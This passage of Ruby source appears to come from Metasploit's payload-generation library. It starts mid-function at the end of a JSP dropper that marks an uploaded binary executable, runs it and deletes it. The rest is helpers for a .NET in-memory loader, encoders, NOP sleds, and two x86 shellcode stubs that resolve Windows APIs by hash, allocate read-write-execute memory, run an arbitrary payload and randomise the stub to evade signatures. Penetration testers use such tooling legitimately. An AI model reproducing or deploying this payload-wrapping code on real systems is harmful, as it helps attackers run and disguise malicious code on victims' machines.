jspraw << "if (System.getProperty(\"os.name\").toLowerCase().indexOf(\"windows\") == -1){\n"
|
|
jspraw << "String[] #{var_fperm} = new String[3];\n"
|
|
jspraw << "#{var_fperm}[0] = \"chmod\";\n"
|
|
jspraw << "#{var_fperm}[1] = \"+x\";\n"
|
|
jspraw << "#{var_fperm}[2] = #{var_exepath};\n"
|
|
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_fperm});\n"
|
|
jspraw << "#{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
|
# Linux and other UNICES allow removing files while they are in use...
|
|
jspraw << "File #{var_fdel} = new File(#{var_exepath}); #{var_fdel}.delete();\n"
|
|
jspraw << "} else {\n"
|
|
# Windows does not ..
|
|
jspraw << "Process #{var_proc} = Runtime.getRuntime().exec(#{var_exepath});\n"
|
|
jspraw << "}\n"
|
|
|
|
jspraw << "%>\n"
|
|
|
|
zip.add_file("#{jsp_name}.jsp", jspraw)
|
|
# end <payload>.jsp
|
|
|
|
# begin <payload>.txt
|
|
payloadraw = exe.unpack('H*')[0]
|
|
zip.add_file("#{var_hexfile}.txt", payloadraw)
|
|
# end <payload>.txt
|
|
|
|
return zip.pack
|
|
end
|
|
|
|
|
|
# Creates a .NET DLL which loads data into memory
|
|
# at a specified location with read/execute permissions
|
|
# - the data will be loaded at: base+0x2065
|
|
# - max size is 0x8000 (32768)
|
|
def self.to_dotnetmem(base=0x12340000, data="")
|
|
pe = ''
|
|
|
|
fd = File.open(File.join(File.dirname(__FILE__), "..", "..", "..", "data", "templates", "dotnetmem.dll"), "rb")
|
|
pe = fd.read(fd.stat.size)
|
|
fd.close
|
|
|
|
# Configure the image base
|
|
pe[180, 4] = [base].pack('V')
|
|
|
|
# Configure the TimeDateStamp
|
|
pe[136, 4] = [rand(0x100000000)].pack('V')
|
|
|
|
# XXX: Unfortunately we cant make this RWX only RX
|
|
# Mark this segment as read-execute AND writable
|
|
# pe[412,4] = [0xe0000020].pack("V")
|
|
|
|
# Write the data into the .text segment
|
|
pe[0x1065, 0x8000] = [data].pack("a32768")
|
|
|
|
# Generic a randomized UUID
|
|
pe[37656,16] = Rex::Text.rand_text(16)
|
|
|
|
return pe
|
|
end
|
|
|
|
|
|
def self.encode_stub(framework, arch, code, platform = nil)
|
|
return code if not framework.encoders
|
|
framework.encoders.each_module_ranked('Arch' => arch) do |name, mod|
|
|
begin
|
|
enc = framework.encoders.create(name)
|
|
raw = enc.encode(code, '', nil, platform)
|
|
return raw if raw
|
|
rescue
|
|
end
|
|
end
|
|
nil
|
|
end
|
|
|
|
def self.generate_nops(framework, arch, len, opts={})
|
|
opts['BadChars'] ||= ''
|
|
opts['SaveRegisters'] ||= [ 'esp', 'ebp', 'esi', 'edi' ]
|
|
|
|
return code if not framework.nops
|
|
framework.nops.each_module_ranked('Arch' => arch) do |name, mod|
|
|
begin
|
|
nop = framework.nops.create(name)
|
|
raw = nop.generate_sled(len, opts)
|
|
return raw if raw
|
|
rescue
|
|
end
|
|
end
|
|
nil
|
|
end
|
|
|
|
# This wrapper is responsible for allocating RWX memory, copying the
|
|
# target code there, setting an exception handler that calls ExitProcess
|
|
# and finally executing the code.
|
|
def self.win32_rwx_exec(code)
|
|
|
|
stub_block = %Q^
|
|
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
|
|
; Output: The return value from the API call will be in EAX.
|
|
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
|
|
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
|
|
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
|
|
; Note: This function is unable to call forwarded exports.
|
|
|
|
api_call:
|
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
|
mov ebp, esp ; Create a new stack frame
|
|
xor edx, edx ; Zero EDX
|
|
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
|
mov edx, [edx+12] ; Get PEB->Ldr
|
|
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
|
next_mod: ;
|
|
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
|
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
|
loop_modname: ;
|
|
xor eax, eax ; Clear EAX
|
|
lodsb ; Read in the next byte of the name
|
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
|
jl not_lowercase ;
|
|
sub al, 0x20 ; If so normalise to uppercase
|
|
not_lowercase: ;
|
|
ror edi, 13 ; Rotate right our hash value
|
|
add edi, eax ; Add the next byte of the name
|
|
loop loop_modname ; Loop untill we have read enough
|
|
; We now have the module hash computed
|
|
push edx ; Save the current position in the module list for later
|
|
push edi ; Save the current module hash for later
|
|
; Proceed to itterate the export address table,
|
|
mov edx, [edx+16] ; Get this modules base address
|
|
mov eax, [edx+60] ; Get PE header
|
|
add eax, edx ; Add the modules base address
|
|
mov eax, [eax+120] ; Get export tables RVA
|
|
test eax, eax ; Test if no export address table is present
|
|
jz get_next_mod1 ; If no EAT present, process the next module
|
|
add eax, edx ; Add the modules base address
|
|
push eax ; Save the current modules EAT
|
|
mov ecx, [eax+24] ; Get the number of function names
|
|
mov ebx, [eax+32] ; Get the rva of the function names
|
|
add ebx, edx ; Add the modules base address
|
|
; Computing the module hash + function hash
|
|
get_next_func: ;
|
|
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
|
dec ecx ; Decrement the function name counter
|
|
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
|
add esi, edx ; Add the modules base address
|
|
xor edi, edi ; Clear EDI which will store the hash of the function name
|
|
; And compare it to the one we want
|
|
loop_funcname: ;
|
|
xor eax, eax ; Clear EAX
|
|
lodsb ; Read in the next byte of the ASCII function name
|
|
ror edi, 13 ; Rotate right our hash value
|
|
add edi, eax ; Add the next byte of the name
|
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
|
add edi, [ebp-8] ; Add the current module hash to the function hash
|
|
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
|
; If found, fix up stack, call the function and then value else compute the next one...
|
|
pop eax ; Restore the current modules EAT
|
|
mov ebx, [eax+36] ; Get the ordinal table rva
|
|
add ebx, edx ; Add the modules base address
|
|
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
|
mov ebx, [eax+28] ; Get the function addresses table rva
|
|
add ebx, edx ; Add the modules base address
|
|
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
|
add eax, edx ; Add the modules base address to get the functions actual VA
|
|
; We now fix up the stack and perform the call to the desired function...
|
|
finish:
|
|
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
|
pop ebx ; Clear off the current modules hash
|
|
pop ebx ; Clear off the current position in the module list
|
|
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
|
pop ecx ; Pop off the origional return address our caller will have pushed
|
|
pop edx ; Pop off the hash value our caller will have pushed
|
|
push ecx ; Push back the correct return value
|
|
jmp eax ; Jump into the required function
|
|
; We now automagically return to the correct caller...
|
|
get_next_mod: ;
|
|
pop eax ; Pop off the current (now the previous) modules EAT
|
|
get_next_mod1: ;
|
|
pop edi ; Pop off the current (now the previous) modules hash
|
|
pop edx ; Restore our position in the module list
|
|
mov edx, [edx] ; Get the next module
|
|
jmp short next_mod ; Process this module
|
|
^
|
|
|
|
stub_exit = %Q^
|
|
; Input: EBP must be the address of 'api_call'.
|
|
; Output: None.
|
|
; Clobbers: EAX, EBX, (ESP will also be modified)
|
|
; Note: Execution is not expected to (successfully) continue past this block
|
|
|
|
exitfunk:
|
|
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
|
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
|
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
|
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
|
jl short goodbye ; Then just call the exit function...
|
|
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
|
jne short goodbye ;
|
|
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
|
goodbye: ; We now perform the actual call to the exit function
|
|
push byte 0 ; push the exit function parameter
|
|
push ebx ; push the hash of the exit function
|
|
call ebp ; call EXITFUNK( 0 );
|
|
^
|
|
|
|
stub_alloc = %Q^
|
|
cld ; Clear the direction flag.
|
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
|
delta: ;
|
|
#{stub_block}
|
|
start: ;
|
|
pop ebp ; Pop off the address of 'api_call' for calling later.
|
|
|
|
allocate_size:
|
|
mov esi,PAYLOAD_SIZE
|
|
|
|
allocate:
|
|
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
|
push 0x1000 ; MEM_COMMIT
|
|
push esi ; Push the length value of the wrapped code block
|
|
push byte 0 ; NULL as we dont care where the allocation is.
|
|
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
|
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
|
|
mov ebx, eax ; Store allocated address in ebx
|
|
mov edi, eax ; Prepare EDI with the new address
|
|
mov ecx, esi ; Prepare ECX with the length of the code
|
|
call get_payload
|
|
got_payload:
|
|
pop esi ; Prepare ESI with the source to copy
|
|
rep movsb ; Copy the payload to RWX memory
|
|
call set_handler ; Configure error handling
|
|
|
|
exitblock:
|
|
#{stub_exit}
|
|
set_handler:
|
|
xor eax,eax
|
|
push dword [fs:eax]
|
|
mov dword [fs:eax], esp
|
|
call ebx
|
|
jmp short exitblock
|
|
^
|
|
|
|
stub_final = %Q^
|
|
get_payload:
|
|
call got_payload
|
|
payload:
|
|
; Append an arbitary payload here
|
|
^
|
|
|
|
|
|
stub_alloc.gsub!('short', '')
|
|
stub_alloc.gsub!('byte', '')
|
|
|
|
wrapper = ""
|
|
# regs = %W{eax ebx ecx edx esi edi ebp}
|
|
|
|
cnt_jmp = 0
|
|
cnt_nop = 64
|
|
|
|
stub_alloc.each_line do |line|
|
|
line.gsub!(/;.*/, '')
|
|
line.strip!
|
|
next if line.empty?
|
|
|
|
if (cnt_nop > 0 and rand(4) == 0)
|
|
wrapper << "nop\n"
|
|
cnt_nop -= 1
|
|
end
|
|
|
|
if(cnt_nop > 0 and rand(16) == 0)
|
|
cnt_nop -= 2
|
|
cnt_jmp += 1
|
|
|
|
wrapper << "jmp autojump#{cnt_jmp}\n"
|
|
1.upto(rand(8)+1) do
|
|
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
|
|
cnt_nop -= 1
|
|
end
|
|
wrapper << "autojump#{cnt_jmp}:\n"
|
|
end
|
|
wrapper << line + "\n"
|
|
end
|
|
|
|
wrapper << stub_final
|
|
|
|
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
|
|
off = enc.offset_of_reloc('PAYLOAD_SIZE')
|
|
res = enc.data + code
|
|
|
|
res[off,4] = [code.length].pack('V')
|
|
res
|
|
end
|
|
|
|
# This wrapper is responsible for allocating RWX memory, copying the
|
|
# target code there, setting an exception handler that calls ExitProcess,
|
|
# starting the code in a new thread, and finally jumping back to the next
|
|
# code to execute. block_offset is the offset of the next code from
|
|
# the start of this code
|
|
def self.win32_rwx_exec_thread(code, block_offset)
|
|
|
|
stub_block = %Q^
|
|
; Input: The hash of the API to call and all its parameters must be pushed onto stack.
|
|
; Output: The return value from the API call will be in EAX.
|
|
; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
|
|
; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
|
|
; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
|
|
; Note: This function is unable to call forwarded exports.
|
|
|
|
api_call:
|
|
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
|
|
mov ebp, esp ; Create a new stack frame
|
|
xor edx, edx ; Zero EDX
|
|
mov edx, [fs:edx+48] ; Get a pointer to the PEB
|
|
mov edx, [edx+12] ; Get PEB->Ldr
|
|
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
|
|
next_mod: ;
|
|
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
|
|
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
|
|
xor edi, edi ; Clear EDI which will store the hash of the module name
|
|
loop_modname: ;
|
|
xor eax, eax ; Clear EAX
|
|
lodsb ; Read in the next byte of the name
|
|
cmp al, 'a' ; Some versions of Windows use lower case module names
|
|
jl not_lowercase ;
|
|
sub al, 0x20 ; If so normalise to uppercase
|
|
not_lowercase: ;
|
|
ror edi, 13 ; Rotate right our hash value
|
|
add edi, eax ; Add the next byte of the name
|
|
loop loop_modname ; Loop untill we have read enough
|
|
; We now have the module hash computed
|
|
push edx ; Save the current position in the module list for later
|
|
push edi ; Save the current module hash for later
|
|
; Proceed to itterate the export address table,
|
|
mov edx, [edx+16] ; Get this modules base address
|
|
mov eax, [edx+60] ; Get PE header
|
|
add eax, edx ; Add the modules base address
|
|
mov eax, [eax+120] ; Get export tables RVA
|
|
test eax, eax ; Test if no export address table is present
|
|
jz get_next_mod1 ; If no EAT present, process the next module
|
|
add eax, edx ; Add the modules base address
|
|
push eax ; Save the current modules EAT
|
|
mov ecx, [eax+24] ; Get the number of function names
|
|
mov ebx, [eax+32] ; Get the rva of the function names
|
|
add ebx, edx ; Add the modules base address
|
|
; Computing the module hash + function hash
|
|
get_next_func: ;
|
|
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
|
|
dec ecx ; Decrement the function name counter
|
|
mov esi, [ebx+ecx*4] ; Get rva of next module name
|
|
add esi, edx ; Add the modules base address
|
|
xor edi, edi ; Clear EDI which will store the hash of the function name
|
|
; And compare it to the one we want
|
|
loop_funcname: ;
|
|
xor eax, eax ; Clear EAX
|
|
lodsb ; Read in the next byte of the ASCII function name
|
|
ror edi, 13 ; Rotate right our hash value
|
|
add edi, eax ; Add the next byte of the name
|
|
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
|
|
jne loop_funcname ; If we have not reached the null terminator, continue
|
|
add edi, [ebp-8] ; Add the current module hash to the function hash
|
|
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
|
|
jnz get_next_func ; Go compute the next function hash if we have not found it
|
|
; If found, fix up stack, call the function and then value else compute the next one...
|
|
pop eax ; Restore the current modules EAT
|
|
mov ebx, [eax+36] ; Get the ordinal table rva
|
|
add ebx, edx ; Add the modules base address
|
|
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
|
|
mov ebx, [eax+28] ; Get the function addresses table rva
|
|
add ebx, edx ; Add the modules base address
|
|
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
|
|
add eax, edx ; Add the modules base address to get the functions actual VA
|
|
; We now fix up the stack and perform the call to the desired function...
|
|
finish:
|
|
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
|
|
pop ebx ; Clear off the current modules hash
|
|
pop ebx ; Clear off the current position in the module list
|
|
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
|
|
pop ecx ; Pop off the origional return address our caller will have pushed
|
|
pop edx ; Pop off the hash value our caller will have pushed
|
|
push ecx ; Push back the correct return value
|
|
jmp eax ; Jump into the required function
|
|
; We now automagically return to the correct caller...
|
|
get_next_mod: ;
|
|
pop eax ; Pop off the current (now the previous) modules EAT
|
|
get_next_mod1: ;
|
|
pop edi ; Pop off the current (now the previous) modules hash
|
|
pop edx ; Restore our position in the module list
|
|
mov edx, [edx] ; Get the next module
|
|
jmp short next_mod ; Process this module
|
|
^
|
|
|
|
stub_exit = %Q^
|
|
; Input: EBP must be the address of 'api_call'.
|
|
; Output: None.
|
|
; Clobbers: EAX, EBX, (ESP will also be modified)
|
|
; Note: Execution is not expected to (successfully) continue past this block
|
|
|
|
exitfunk:
|
|
mov ebx, 0x0A2A1DE0 ; The EXITFUNK as specified by user...
|
|
push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" )
|
|
call ebp ; GetVersion(); (AL will = major version and AH will = minor version)
|
|
cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7
|
|
jl short goodbye ; Then just call the exit function...
|
|
cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
|
|
jne short goodbye ;
|
|
mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
|
|
goodbye: ; We now perform the actual call to the exit function
|
|
push byte 0 ; push the exit function parameter
|
|
push ebx ; push the hash of the exit function
|
|
call ebp ; call EXITFUNK( 0 );
|
|
^
|
|
|
|
stub_alloc = %Q^
|
|
pushad ; Save registers
|
|
cld ; Clear the direction flag.
|
|
call start ; Call start, this pushes the address of 'api_call' onto the stack.
|
|
delta: ;
|
|
#{stub_block}
|
|
start: ;
|
|
pop ebp ; Pop off the address of 'api_call' for calling later.
|
|
|
|
allocate_size:
|
|
mov esi,PAYLOAD_SIZE
|
|
|
|
allocate:
|
|
push byte 0x40 ; PAGE_EXECUTE_READWRITE
|
|
push 0x1000 ; MEM_COMMIT
|
|
push esi ; Push the length value of the wrapped code block
|
|
push byte 0 ; NULL as we dont care where the allocation is.
|
|
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
|
|
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
|
|
|
mov ebx, eax ; Store allocated address in ebx
|
|
mov edi, eax ; Prepare EDI with the new address
|
|
mov ecx, esi ; Prepare ECX with the length of the code
|
|
call get_payload
|
|
got_payload:
|
|
pop esi ; Prepare ESI with the source to copy
|
|
rep movsb ; Copy the payload to RWX memory
|
|
call set_handler ; Configure error handling
|
|
|
|
exitblock:
|
|
#{stub_exit}
|
|
|
|
set_handler:
|
|
xor eax,eax
|
|
; push dword [fs:eax]
|
|
; mov dword [fs:eax], esp
|
|
push eax ; LPDWORD lpThreadId (NULL)
|
|
push eax ; DWORD dwCreationFlags (0)
|
|
push eax ; LPVOID lpParameter (NULL)
|
|
push ebx ; LPTHREAD_START_ROUTINE lpStartAddress (payload)
|
|
push eax ; SIZE_T dwStackSize (0 for default)
|
|
push eax ; LPSECURITY_ATTRIBUTES lpThreadAttributes (NULL)
|
|
push 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )
|
|
call ebp ; Spawn payload thread
|
|
|
|
pop eax ; Skip
|
|
; pop eax ; Skip
|
|
pop eax ; Skip
|
|
popad ; Get our registers back
|
|
; sub esp, 44 ; Move stack pointer back past the handler
|
|
^
|
|
|
|
stub_final = %Q^
|
|
get_payload:
|
|
call got_payload
|
|
payload:
|
|
; Append an arbitary payload here
|
|
^
|
|
|
|
|
|
stub_alloc.gsub!('short', '')
|
|
stub_alloc.gsub!('byte', '')
|
|
|
|
wrapper = ""
|
|
# regs = %W{eax ebx ecx edx esi edi ebp}
|
|
|
|
cnt_jmp = 0
|
|
cnt_nop = 64
|
|
|
|
stub_alloc.each_line do |line|
|
|
line.gsub!(/;.*/, '')
|
|
line.strip!
|
|
next if line.empty?
|
|
|
|
if (cnt_nop > 0 and rand(4) == 0)
|
|
wrapper << "nop\n"
|
|
cnt_nop -= 1
|
|
end
|
|
|
|
if(cnt_nop > 0 and rand(16) == 0)
|
|
cnt_nop -= 2
|
|
cnt_jmp += 1
|
|
|
|
wrapper << "jmp autojump#{cnt_jmp}\n"
|
|
1.upto(rand(8)+1) do
|
|
wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
|
|
cnt_nop -= 1
|
|
end
|
|
wrapper << "autojump#{cnt_jmp}:\n"
|
|
end
|
|
wrapper << line + "\n"
|
|
end
|
|
|
|
#someone who knows how to use metasm please explain the right way to do this.
|
|
wrapper << "db 0xe9\n db 0xFF\n db 0xFF\n db 0xFF\n db 0xFF\n"
|
|
wrapper << stub_final
|
|
|
|
enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
|
|
off = enc.offset_of_reloc('PAYLOAD_SIZE')
|
|
soff = enc.data.index("\xe9\xff\xff\xff\xff") + 1
|
|
res = enc.data + code
|
|
|
|
res[off,4] = [code.length].pack('V')
|
|
res[soff,4] = [block_offset - (soff + 4)].pack('V')
|
|
res
|
|
end
|
|
|
|
end
|
|
end
|
|
end
|
|
|